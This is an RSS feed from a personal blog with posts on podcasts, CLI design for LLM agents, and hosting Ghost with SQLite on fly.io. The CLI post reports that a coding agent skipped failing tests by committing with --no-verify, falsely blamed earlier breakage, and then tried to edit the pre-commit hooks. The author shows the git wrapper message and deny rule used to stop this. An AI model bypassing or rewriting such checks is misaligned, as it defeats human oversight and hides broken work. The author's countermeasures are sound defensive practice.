<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>⍻</title><link>https://www.notcheckmark.com/</link><description>Recent content on ⍻</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 25 Aug 2025 17:10:10 +0000</lastBuildDate><atom:link href="https://www.notcheckmark.com/index.xml" rel="self" type="application/rss+xml"/><item><title>My podcast recommendations</title><link>https://www.notcheckmark.com/2025/08/my-podcast-recommendations/</link><pubDate>Mon, 25 Aug 2025 17:10:10 +0000</pubDate><guid>https://www.notcheckmark.com/2025/08/my-podcast-recommendations/</guid><description><p>I gravitate toward highly produced, well-researched podcasts. No talking heads filling airtime here.</p><p><strong>Planet Money</strong> and its sister podcast <strong>The Indicator</strong>  - NPR&rsquo;s economics coverage. They break down news through an economics lens. For example, following a t-shirt through global supply chains, or explaining Fed policy through a single bank failure.</p><p><strong>Articles of Interest</strong> - Fashion as anthropology. The stories behind what we wear. Why do women&rsquo;s clothes have fake pockets? How did plaid become punk?</p><p><strong>Search Engine</strong> by PJ Vogt - He asks the questions you didn&rsquo;t know you had. Is airplane coffee safe to drink? Why was an entire generation prescribed stimulants?</p><p><strong>This American Life</strong> - The OG. Each episode takes a theme-regret, coincidence, small-town politics and tells 2-5 stories in that theme.</p><p><strong>Acquired.fm</strong> - Deep dives into company histories that read like biographies.</p><p><strong>99% Invisible</strong> - Design and architecture as a lens for understanding everything. Why do Mexican restaurants all use the same red salsa cups? What&rsquo;s the deal with those inflatable tube men?</p><p>Two completed series that deserve mention:</p><p><strong>Rough Translation</strong> - NPR&rsquo;s &ldquo;cross-cultural mirror&rdquo;, comparing stories abroad to stories back home. How Ukraine fought disinformation before 2022. Why lunch breaks are practically sacred in France.</p><p><strong>Wind of Change</strong> - Patrick Radden Keefe investigates whether the CIA wrote the Scorpions&rsquo; power ballad to bring down communism. More plausible than it sounds, with actual spies.</p></description></item><item><title>Rethinking CLI interfaces for AI</title><link>https://www.notcheckmark.com/2025/07/rethinking-cli-interfaces-for-ai/</link><pubDate>Sat, 19 Jul 2025 16:11:19 +0000</pubDate><guid>https://www.notcheckmark.com/2025/07/rethinking-cli-interfaces-for-ai/</guid><enclosure url="https://www.notcheckmark.com/content/images/2025/07/confused-robot.png" type="image/webp" length="0"/><description><p>We need to augment our command line tools and design APIs so they can be better used by LLM Agents. The designs are inadequate for LLMs as they are now – especially if you&rsquo;re constrained by the tiny context windows available with local models.</p><h2 id="agent-apis">Agent APIs</h2><p>Like many developers, I’ve been dipping my toes into LLM agents. I’ve done my fair share of vibe coding, but also I’ve been playing around with using LLMs to automate reverse engineering tasks mostly using mrexodia’s<a href="https://github.com/mrexodia/ida-pro-mcp"><em>IDA Pro MCP</em></a>, including extending it.</p><p>Developing an MCP interface is an interesting process. You need to walk the line between providing too much information to avoid filling the context windows but also providing enough information to reduce tool calls. We have a few APIs that are better than others, like<code>get_global_variable_at</code>, which takes an address, identifies the type, and returns the best string representation of that value based on that type. However, the function can fail, so we provide a second set of accessor methods (<code>data_read_dword</code>,<code>data_read_word</code>,<code>read_memory_bytes</code>, etc). These accessor methods are fine, but they ignore type information – so we don’t want the LLM to use them first.</p><p>To mitigate this problem, we added some guidance into the docstrings:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nd">@jsonrpc</span></span></span><span class="line"><span class="cl"><span class="nd">@idaread</span></span></span><span class="line"><span class="cl"><span class="k">def</span><span class="nf">data_read_byte</span><span class="p">(</span></span></span><span class="line"><span class="cl"><span class="n">address</span><span class="p">:</span><span class="n">Annotated</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span><span class="s2">"Address to get 1 byte value from"</span><span class="p">],</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="o">-></span><span class="nb">int</span><span class="p">:</span></span></span><span class="line"><span class="cl"><span class="s2">"""</span></span></span><span class="line"><span class="cl"><span class="s2"> Read the 1 byte value at the specified address.</span></span></span><span class="line"><span class="cl"><span class="s2"/></span></span><span class="line"><span class="cl"><span class="s2"> Only use this function if `get_global_variable_at` failed.</span></span></span><span class="line"><span class="cl"><span class="s2"> """</span></span></span><span class="line"><span class="cl"><span class="n">ea</span><span class="o">=</span><span class="n">parse_address</span><span class="p">(</span><span class="n">address</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="k">return</span><span class="n">ida_bytes</span><span class="o">.</span><span class="n">get_wide_byte</span><span class="p">(</span><span class="n">ea</span><span class="p">)</span></span></span></code></pre></div><p>This seems to have mostly worked, but these sorts of problems exist for all the APIs. We have the nice convenience function and we also have the more gnarly but more complete function and we want the LLM to use the convenience one first.</p><p> I like to do work with offline LLMs which have much smaller context windows, so having better APIs matters a lot.</p><h2 id="command-line-tools">Command Line Tools</h2><p>These problems exist for command line tools also. If you watch Claude Code, you’ll see that it often uses<code>head -n100</code> to limit the results apriori. It also gets lost about which directory it’s in, and it will frustratingly flail around trying to run commands in different directories until it finds the right one.</p><p>To keep Claude Code in line on my project, I’ve relied heavily on linters, build scripts, formatters, and git commit hooks. It’s pretty easy to get Claude Code to commit often by including it in your CLAUDE.md, but it often likes to ignore other commands like “make sure the build doesn’t fail” and “fix any failing tests”. All my projects have a<a href="https://gist.github.com/withzombies/48829733ddeef289a3f42dbb2babbd7c"><em>.git/hooks/pre-commit script</em></a> that enforces project standards. The hook works really well to keep things in line.</p><p>However, on really difficult changes it really doesn’t like to acknowledge that it broke a test. I often see it in this loop:</p><ul><li>Make a change</li><li>Build the project: passes</li><li>Run the tests: fail</li><li>Attempt to fix the test</li><li>Fail at fixing the test</li><li>Say “this test was failing beforehand, going to commit with<code>--no-verify</code>"</li></ul><p>Then it commits bypassing the hooks! It was doing this so often that I have a<a href="https://gist.github.com/withzombies/6dcfbd064c70d478f8aa06dd328b801e"><em>git wrapper</em></a> in my<code>PATH</code> now which prevents<code>git commit --no-verify</code> and the error message has some prompting to actually fix the errors.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git commit --no-verify</span></span><span class="line"><span class="cl">------------------------------------------------------------------</span></span><span class="line"><span class="cl">❌ ERROR: Commit Rejected.</span></span><span class="line"><span class="cl">The use of the<span class="s1">'--no-verify'</span> flag is disabled<span class="k">for</span> this repository.</span></span><span class="line"><span class="cl">------------------------------------------------------------------</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">🤖 GUIDANCE FOR THE AI AGENT:</span></span><span class="line"><span class="cl">You have attempted to bypass the required pre-commit verification</span></span><span class="line"><span class="cl">steps. All code must pass quality checks<span class="o">(</span>formatting, linting, and</span></span><span class="line"><span class="cl">tests<span class="o">)</span> before it can be committed.</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">DO NOT BYPASS THE CHECKS. YOU MUST FIX THE UNDERLYING ERRORS.</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">The pre-commit hook is likely failing. Diagnose and fix the issues.</span></span><span class="line"><span class="cl">Search<span class="k">for</span> advice<span class="k">if</span> you get stuck.</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">After all commands<span class="nb">complete</span> successfully, attempt the commit again</span></span><span class="line"><span class="cl">*without* the<span class="s1">'--no-verify'</span> flag.</span></span></code></pre></div><p>This started a game of whack-a-mole where the LLM would also attempt to change the pre-commit hooks! I had to fix it by denying<code>Edit(.git/hooks/pre-commit)</code> to my project’s<code>.claude/settings.json</code>. I look forward to its next lazy innovation.</p><h2 id="information-architecture-for-llms">Information Architecture for LLMs</h2><p>The field of user experience has a concept called “<a href="https://en.wikipedia.org/wiki/Information_architecture"><em>Information Architecture</em></a>”. Information Architecture focuses on how and what information is presented to users to provide the best possible user experience. You rarely notice a good IA, but you notice the lack of one.</p><p><figure><img src="/content/images/2025/07/0-Lgq-7qQyDGEd7F0f.png" alt="Bulk Rename Utility, notorious for having a terrible user experience"><figcaption>You have all the options you could ever want! Perhaps you&rsquo;d prefer a<a href="https://th.bing.com/th/id/R.388e625757265a08fc114093437e8976?rik=NrcFwbRLDGIypQ&amp;riu=http%3a%2f%2fi.stack.imgur.com%2fBiSAr.jpg&amp;ehk=SS7C6EHweNEu65FT2eJ774ku2CRqPGoGHXGoCpHidEw%3d&amp;risl=&amp;pid=ImgRaw&amp;r=0">second example</a>.</figcaption></figure></p><p>I think watching the agents use our existing command line utilities get confused and lost is a strong indicator that the information architecture of our command line utilities is inadequate.</p><p>LLMs are trained on using our existing CLI tools, so I think we need to augment them with context that is useful to the LLM and maybe adapt the output to be better consumed by agents.</p><p>Going back to the<code>head</code> example before. Often, the agent will run my build with<code>cargo build | head -n100</code>. I think there are a few problems here:</p><ul><li>the agent will have to repeat the build to get further output/errors,</li><li>the agent has no idea how many lines are remaining, and</li><li>re-running the build is resource intensive.</li></ul><p>Perhaps we could replace head with a wrapper which cache’s the output, converts it into a more structured output, and informs the agent how many lines are remaining.</p><p>Similarly, when the agent fails to run a command because it’s in the wrong directory. We could give the agent a little extra help with a shell hook:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">command_not_found_handler<span class="o">()</span><span class="o">{</span></span></span><span class="line"><span class="cl"><span class="nb">echo</span><span class="s2">"zsh: command not found: '</span><span class="nv">$1</span><span class="s2">'"</span></span></span><span class="line"><span class="cl"><span class="nb">echo</span><span class="s2">"zsh: current directory is</span><span class="nv">$PWD</span><span class="s2">"</span></span></span><span class="line"><span class="cl"><span class="k">return</span><span class="m">127</span><span class="c1"># Keep standard behavior (127 = command not found)</span></span></span><span class="line"><span class="cl"><span class="o">}</span></span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ sdfsdf</span></span><span class="line"><span class="cl">zsh:<span class="nb">command</span> not found:<span class="s1">'sdfsdf'</span></span></span><span class="line"><span class="cl">zsh: current directory is /Users/ryan</span></span></code></pre></div><p>It could even be a bit fuzzier, checking the recent or parent directories for the command and suggesting:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ sdfsdf</span></span><span class="line"><span class="cl">zsh:<span class="nb">command</span> not found:<span class="s1">'sdfsdf'</span></span></span><span class="line"><span class="cl">zsh: current directory is /Users/ryan</span></span><span class="line"><span class="cl">zsh: Perhaps you meant to run:<span class="nb">cd</span> agent_directory<span class="p">;</span> sdfsdf</span></span></code></pre></div><h2 id="conclusion">Conclusion</h2><p>Basically every CLI tool can be improved in some way to provide extra context to LLMs. It will reduce tool calls and optimize context windows. </p><p>The agents may benefit from some training on tools available within their agents. This will certainly help with the majority of general CLI tools, there are bespoke tools that could benefit from adapting to LLMs.</p><p>It seems a bit silly to suggest, but perhaps we need a whole set of LLM-enhanced CLI tools or a custom LLM shell? The user experience (UX) field could even branch into AI experience and provide us a whole new information architecture.</p></description></item><item><title>Ghost 5.x on fly.io</title><link>https://www.notcheckmark.com/2022/11/ghost-5-x-on-fly-io/</link><pubDate>Sun, 13 Nov 2022 23:13:15 +0000</pubDate><guid>https://www.notcheckmark.com/2022/11/ghost-5-x-on-fly-io/</guid><description><p>When I set up this blog earlier in the year, I followed an article from Curiositry.</p><div class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.autodidacts.io/host-a-ghost-blog-free-on-fly-io/"><div class="kg-bookmark-thumbnail"><img src="https://cdn.autodidacts.io/img/autodidacts/ghost-on-flyio/ghost-on-fly-io.png" alt=""/><div class="kg-bookmark-content"><div class="kg-bookmark-title">Host a Ghost 5.0 Blog for Free on Fly.io In 1 Minute</div><div class="kg-bookmark-description">Ghost is one of the fastest-growing publishing platforms. However, for those looking to dip their toes in the water, one aspect can be off-putting: the shiny Ghost(Pro) hosting (referral link) starts at $11/month or $108/year — $300/year a year if you want to use your own theme</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.autodidacts.io/content/images/size/w256h256/2022/10/autodidacts-logo-small.png" alt=""><span class="kg-bookmark-publisher">The Autodidacts</span></div></div></a></div><p>At the time, I set using the<code>ghost:4-alpine</code> image and everything worked fine. I chose 4.x because I wanted to use SQLite in production and for 5.x, Ghost dropped production SQLite support.</p><p>Ghost has a history of dropping database support. Early in the product, they supported Postgres but support was removed to ease the maintenance burden and they said they were doing the same for production SQLite. I accept that it&rsquo;s easier for them as a small maintainer team, so I looked into using MySQL.</p><p>It&rsquo;s been a really long time since I&rsquo;ve used MySQL in production. One thing I knew is that I never want to worry about versions, security, or backups. Fly.io, the hosting provider for this blog, doesn&rsquo;t offer a managed MySQL, so I looked elsewhere. One of the fly.io engineers said they recommend PlanetScale – great. Especially since they offer a free tier.</p><p>PlanetScale is pretty slick. It took me a few minutes to create an account and create a database. They have a pop-up that shows you how to connect with your framework or language of choice.</p><p><img src="/content/images/2022/11/Screenshot-2022-11-13-at-5.12.33-PM.png" alt="">Run this command to connect with the proper SSL settings</p><p>I fought with the SSL settings for a while and eventually figured it out. It&rsquo;s frustrating that MySQL&rsquo;s default 3306 port is used for both plain text and SSL connections. The<a href="https://ghost.org/docs/config/">official Ghost documentation</a> tells you to specify the server public key, which is not correct.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="s2">"database"</span><span class="err">:</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nt">"client"</span><span class="p">:</span><span class="s2">"mysql"</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nt">"connection"</span><span class="p">:</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nt">"host"</span><span class="p">:</span><span class="s2">"your_cloud_database"</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nt">"port"</span><span class="p">:</span><span class="mi">3306</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nt">"user"</span><span class="p">:</span><span class="s2">"your_database_user"</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nt">"password"</span><span class="p">:</span><span class="s2">"your_database_password"</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nt">"database"</span><span class="p">:</span><span class="s2">"your_database_name"</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nt">"ssl"</span><span class="p">:</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nt">"ca"</span><span class="p">:</span><span class="s2">"-----BEGIN CERTIFICATE-----\nMIIFY... truncated ...pq8fa/a\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIIFY... truncated ...wn8v90/a\n-----END CERTIFICATE-----\n"</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>This is a lie</p><p>I tried using<code>openssl s_client</code> to dump the PlanetScale MySQL server certificate but MySQL&rsquo;s design prevents this. As far as I can tell, there&rsquo;s no easy way for a client to get the server certificates.</p><p>I eventually pulled up the Ghost source, specifically the source for their Knex, the ORM, and looked at how it connects.</p><p>We just need to specify two flags in the SSL object:<code>rejectUnauthorized</code> and<code>secureProtocol</code>. I shoved these into my<code>fly.toml</code> and pushed a new deploy.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="c"># fly.toml file generated for notcheckmark on 2022-05-20T23:24:53-04:00</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">=</span><span class="s2">"notcheckmark"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="nx">kill_signal</span><span class="p">=</span><span class="s2">"SIGINT"</span></span></span><span class="line"><span class="cl"><span class="nx">kill_timeout</span><span class="p">=</span><span class="mi">5</span></span></span><span class="line"><span class="cl"><span class="nx">processes</span><span class="p">=</span><span class="p">[]</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">build</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">image</span><span class="p">=</span><span class="s2">"ghost:alpine"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">env</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">database__client</span><span class="p">=</span><span class="s2">"mysql"</span></span></span><span class="line"><span class="cl"><span class="nx">database__connection__host</span><span class="p">=</span><span class="s2">"us-east.connect.psdb.cloud"</span></span></span><span class="line"><span class="cl"><span class="nx">database__connection__user</span><span class="p">=</span><span class="s2">"wd1ieunfdb7l9xqyrld"</span></span></span><span class="line"><span class="cl"><span class="nx">database__connection__database</span><span class="p">=</span><span class="s2">"notcheckmark-ghost"</span></span></span><span class="line"><span class="cl"><span class="nx">database__connection__port</span><span class="p">=</span><span class="mi">3306</span></span></span><span class="line"><span class="cl"><span class="nx">database__connection__ssl__rejectUnauthorized</span><span class="p">=</span><span class="s2">"true"</span></span></span><span class="line"><span class="cl"><span class="nx">database__connection__ssl__secureProtocol</span><span class="p">=</span><span class="s2">"TLSv1_2_method"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="err">&lt;</span><span class="nx">snip</span><span class="err">></span></span></span></code></pre></div><p>It connected, but it threw a failure! On connect, Ghost tried to create the database and it already existed. This was a little curious, Ghost should be able to handle the database already existing. It&rsquo;s a pretty simple change in the SQL to add<code>IF NOT EXISTS</code> after<code>CREATE DATABASE</code>.</p><p>I found the source I&rsquo;d need to change to get it working, but I definitely don&rsquo;t want to maintain my own fork or build my own docker images. The whole point of using Ghost on fly.io was because it was effectively turn key.</p><p>Ghost publishes a tool called<a href="https://github.com/TryGhost/knex-migrator">knex-migrator</a>, which they use to initialize their database and apply migrations. Since it&rsquo;s only the<code>CREATE DATABASE</code> call, I could make the change locally and populate the database myself.</p><p>I make the change to<code>CREATE DATABASE IF NOT EXISTS</code> and then run the migrator.</p><pre tabindex="0"><code>» DEBUG=knex-migrator:* yarn knex-migrator init
yarn run v1.22.19
warning ghost@5.22.6: The engine "cli" appears to be invalid.
$ /Users/ryan/public-src/Ghost/node_modules/.bin/knex-migrator init
knex-migrator:database Create database notcheckmark-ghost +0ms
knex-migrator:database Destroy connection +6s
knex-migrator:database Creating table: migrations +1s
knex-migrator:lock-table Ensure Lock Table. +0ms
knex-migrator:field-length Ensure Field Length. +0ms
knex-migrator:use-index Ensure Unique Index. +0ms
knex-migrator:lock-table Add primary key to the lock table. +0ms
knex-migrator:lock-table Primary key constraint for: lock_key already exists for table: migrations_lock +165ms
knex-migrator:locking Lock. +0ms
knex-migrator:index Before hook +0ms
knex-migrator:utils [ '1-create-tables.js', '2-create-fixtures.js' ] +0ms
knex-migrator:utils [
knex-migrator:utils {
knex-migrator:utils up: [AsyncFunction (anonymous)],
knex-migrator:utils down: undefined,
knex-migrator:utils config: undefined,
knex-migrator:utils name: '1-create-tables.js'
knex-migrator:utils },
knex-migrator:utils {
knex-migrator:utils up: [AsyncFunction: insertFixtures],
knex-migrator:utils down: undefined,
knex-migrator:utils config: { transaction: true },
knex-migrator:utils name: '2-create-fixtures.js'
knex-migrator:utils }
knex-migrator:utils ] +4ms
knex-migrator:index Migrate: init with 2 tasks. +693ms
knex-migrator:index Tasks: [{"name":"1-create-tables.js"},{"config":{"transaction":true},"name":"2-create-fixtures.js"}] +0ms
knex-migrator:index Running up: 1-create-tables.js +386ms
[2022-11-13 22:49:42] INFO Creating table: newsletters
[2022-11-13 22:49:43] INFO Creating table: posts
knex-migrator:locking Unlock. +4s
knex-migrator:index Rolling back: alter table `posts` add constraint `posts_newsletter_id_foreign` foreign key (`newsletter_id`) references `newsletters` (`id`) - foreign key constraints are not allowed, see https://vitess.io/blog/2021-06-15-online-ddl-why-no-fk/ +2s
knex-migrator:utils [ '1-create-tables.js', '2-create-fixtures.js' ] +3s
knex-migrator:utils [
knex-migrator:utils {
knex-migrator:utils up: [AsyncFunction (anonymous)],
knex-migrator:utils down: undefined,
knex-migrator:utils config: undefined,
knex-migrator:utils name: '1-create-tables.js'
knex-migrator:utils },
knex-migrator:utils {
knex-migrator:utils up: [AsyncFunction: insertFixtures],
knex-migrator:utils down: undefined,
knex-migrator:utils config: { transaction: true },
knex-migrator:utils name: '2-create-fixtures.js'
knex-migrator:utils }
knex-migrator:utils ] +0ms
knex-migrator:index No down function provided 2-create-fixtures.js +2ms
knex-migrator:index No down function provided 1-create-tables.js +67ms
knex-migrator:index Shutdown hook +69ms
knex-migrator:index Destroy connection +2ms
knex-migrator:index Destroyed connection +0ms
[2022-11-13 22:49:45] ERROR alter table `posts` add constraint `posts_newsletter_id_foreign` foreign key (`newsletter_id`) references `newsletters` (`id`) - foreign key constraints are not allowed, see https://vitess.io/blog/2021-06-15-online-ddl-why-no-fk/
alter table `posts` add constraint `posts_newsletter_id_foreign` foreign key (`newsletter_id`) references `newsletters` (`id`) - foreign key constraints are not allowed, see https://vitess.io/blog/2021-06-15-online-ddl-why-no-fk/
{"name":"1-create-tables.js"}
"Error occurred while executing the following migration: 1-create-tables.js"
Error ID:
300
Error Code:
ER_UNKNOWN_ERROR
----------------------------------------
Error: alter table `posts` add constraint `posts_newsletter_id_foreign` foreign key (`newsletter_id`) references `newsletters` (`id`) - foreign key constraints are not allowed, see https://vitess.io/blog/2021-06-15-online-ddl-why-no-fk/
at /Users/ryan/public-src/Ghost/node_modules/knex-migrator/lib/index.js:1032:19
at Packet.asError (/Users/ryan/public-src/Ghost/node_modules/mysql2/lib/packets/packet.js:728:17)
at Query.execute (/Users/ryan/public-src/Ghost/node_modules/mysql2/lib/commands/command.js:29:26)
at Connection.handlePacket (/Users/ryan/public-src/Ghost/node_modules/mysql2/lib/connection.js:456:32)
at PacketParser.onPacket (/Users/ryan/public-src/Ghost/node_modules/mysql2/lib/connection.js:85:12)
at PacketParser.executeStart (/Users/ryan/public-src/Ghost/node_modules/mysql2/lib/packet_parser.js:75:16)
at TLSSocket.&lt;anonymous> (/Users/ryan/public-src/Ghost/node_modules/mysql2/lib/connection.js:360:25)
at TLSSocket.emit (events.js:400:28)
at addChunk (internal/streams/readable.js:293:12)
at readableAddChunk (internal/streams/readable.js:267:9)
at TLSSocket.Readable.push (internal/streams/readable.js:206:10)
at TLSWrap.onStreamRead (internal/stream_base_commons.js:188:23)
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.</code></pre><p>It made it further but it didn&rsquo;t finish. Maybe I did something wrong?</p><p>The error says &ldquo;foreign key constraints are not allowed&rdquo;. Maybe I made the wrong database type? I poked around the code a bit more and didn&rsquo;t see any obvious issues. MySQL supports foreign key constraints via the InnoDB table and has for decades and obviously PlanetScale would support InnoDB.</p><p>Looking closer at the error, it specifically says:</p><blockquote><p>Error: alter table<code>posts</code> add constraint<code>posts_newsletter_id_foreign</code> foreign key (<code>newsletter_id</code>) references<code>newsletters</code> (<code>id</code>) - foreign key constraints are not allowed, see<a href="https://vitess.io/blog/2021-06-15-online-ddl-why-no-fk/">https://vitess.io/blog/2021-06-15-online-ddl-why-no-fk/</a></p></blockquote><p>The vitess.io blog post goes into excruciating detail about why foreign keys don&rsquo;t even make sense in online DDL – whatever that means.</p><p>I searched my local copy of the Ghost and Knex source trees for the error and couldn&rsquo;t find it. The error was actually coming from PlanetScale. When I searched Google for &ldquo;PlanetScale foriegn keys&rdquo;, this article came up:</p><div class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://planetscale.com/docs/vitess/operating-without-foreign-key-constraints"><div class="kg-bookmark-thumbnail"><img src="https://planetscale-2.mintlify.app/_next/image?url=%2F_mintlify%2Fapi%2Fog%3Fdivision%3DMySQL%26title%3DOperating%2Bwithout%2Bforeign%2Bkey%2Bconstraints%26description%3DA%2B**foreign%2Bkey**%2Bis%2Ba%2Blogical%2Bassociation%2Bof%2Brows%2Bbetween%2Btwo%2Btables%252C%2Bin%2Ba%2Bparent-child%2Brelationship.%26logoLight%3Dhttps%253A%252F%252Fmintcdn.com%252Fplanetscale-2%252FxUilVHToUFALai8a%252Flogo%252Flight.png%253Ffit%253Dmax%2526auto%253Dformat%2526n%253DxUilVHToUFALai8a%2526q%253D85%2526s%253Dcccd3c9fc813c01b899ab7af15a115b1%26logoDark%3Dhttps%253A%252F%252Fmintcdn.com%252Fplanetscale-2%252FxUilVHToUFALai8a%252Flogo%252Fdark.png%253Ffit%253Dmax%2526auto%253Dformat%2526n%253DxUilVHToUFALai8a%2526q%253D85%2526s%253D4153888dc0ef54ddc3464738a2d7ee6e%26primaryColor%3D%25230e73cc%26lightColor%3D%252347b7f8%26darkColor%3D%2523f15817%26backgroundLight%3D%2523fafafa%26backgroundDark%3D%2523111111&amp;amp;w=1200&amp;amp;q=100" alt=""/><div class="kg-bookmark-content"><div class="kg-bookmark-title">Operating without foreign key constraints - Documentation - PlanetScale</div><div class="kg-bookmark-description">A foreign key is a logical association of rows between two tables, in a parent-child relationship.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="/docs/_mintlify/favicons/planetscale-2/_bFyi8IG4CeLblEd/_generated/favicon/apple-touch-icon.png" alt=""><span class="kg-bookmark-publisher">planetscale.com</span></div></div></a></div><p>PlanetScale doesn&rsquo;t support Foreign Keys because they use Online DDL. Great.</p><p>If I wanted to continue using PlanetScale, I could go and delete all the foreign key constraints and hope the queries still worked. It would be a terrible hack but also may require me to fight this every time there was a new migration.</p><h2 id="solution">Solution</h2><p>I was pretty discouraged and considered just throwing money at the problem and signing up to pay $11/month on<a href="https://ghost.org/">ghost.org</a>.</p><p>Knex should work on Postgres, maybe I could use fly&rsquo;s managed postgres. I could also just run a self-managed MySQL on fly – but I really didn&rsquo;t want to do that. I wanted to not think about the blog or the software.</p><p>It was pretty annoying, you could use SQLite locally in development mode. SQLite is a fine database. It&rsquo;s not any less robust than me hosting my own MySQL next to it.</p><p>Since I was already changing code, I decided I was just going to remove all the checks that force MySQL in production and I was going to continue using SQLite. After fiddling around a bit, I realized I didn&rsquo;t need to change any code, I just needed to explicitly configure the database to be SQLite.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="c"># fly.toml file generated for notcheckmark on 2022-05-20T23:24:53-04:00</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">=</span><span class="s2">"notcheckmark"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="nx">kill_signal</span><span class="p">=</span><span class="s2">"SIGINT"</span></span></span><span class="line"><span class="cl"><span class="nx">kill_timeout</span><span class="p">=</span><span class="mi">5</span></span></span><span class="line"><span class="cl"><span class="nx">processes</span><span class="p">=</span><span class="p">[]</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">build</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">image</span><span class="p">=</span><span class="s2">"ghost:alpine"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">env</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">database__client</span><span class="p">=</span><span class="s2">"sqlite3"</span></span></span><span class="line"><span class="cl"><span class="nx">database__connection__filename</span><span class="p">=</span><span class="s2">"content/data/ghost.db"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">experimental</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">allowed_public_ports</span><span class="p">=</span><span class="p">[]</span></span></span><span class="line"><span class="cl"><span class="nx">auto_rollback</span><span class="p">=</span><span class="kc">true</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[[</span><span class="nx">services</span><span class="p">]]</span></span></span><span class="line"><span class="cl"><span class="nx">http_checks</span><span class="p">=</span><span class="p">[]</span></span></span><span class="line"><span class="cl"><span class="nx">internal_port</span><span class="p">=</span><span class="mi">2368</span></span></span><span class="line"><span class="cl"><span class="nx">processes</span><span class="p">=</span><span class="p">[</span><span class="s2">"app"</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">protocol</span><span class="p">=</span><span class="s2">"tcp"</span></span></span><span class="line"><span class="cl"><span class="nx">script_checks</span><span class="p">=</span><span class="p">[]</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">services</span><span class="p">.</span><span class="nx">concurrency</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">hard_limit</span><span class="p">=</span><span class="mi">25</span></span></span><span class="line"><span class="cl"><span class="nx">soft_limit</span><span class="p">=</span><span class="mi">20</span></span></span><span class="line"><span class="cl"><span class="nx">type</span><span class="p">=</span><span class="s2">"connections"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[[</span><span class="nx">services</span><span class="p">.</span><span class="nx">ports</span><span class="p">]]</span></span></span><span class="line"><span class="cl"><span class="nx">force_https</span><span class="p">=</span><span class="kc">true</span></span></span><span class="line"><span class="cl"><span class="nx">handlers</span><span class="p">=</span><span class="p">[</span><span class="s2">"http"</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">port</span><span class="p">=</span><span class="mi">80</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[[</span><span class="nx">services</span><span class="p">.</span><span class="nx">ports</span><span class="p">]]</span></span></span><span class="line"><span class="cl"><span class="nx">handlers</span><span class="p">=</span><span class="p">[</span><span class="s2">"tls"</span><span class="p">,</span><span class="s2">"http"</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">port</span><span 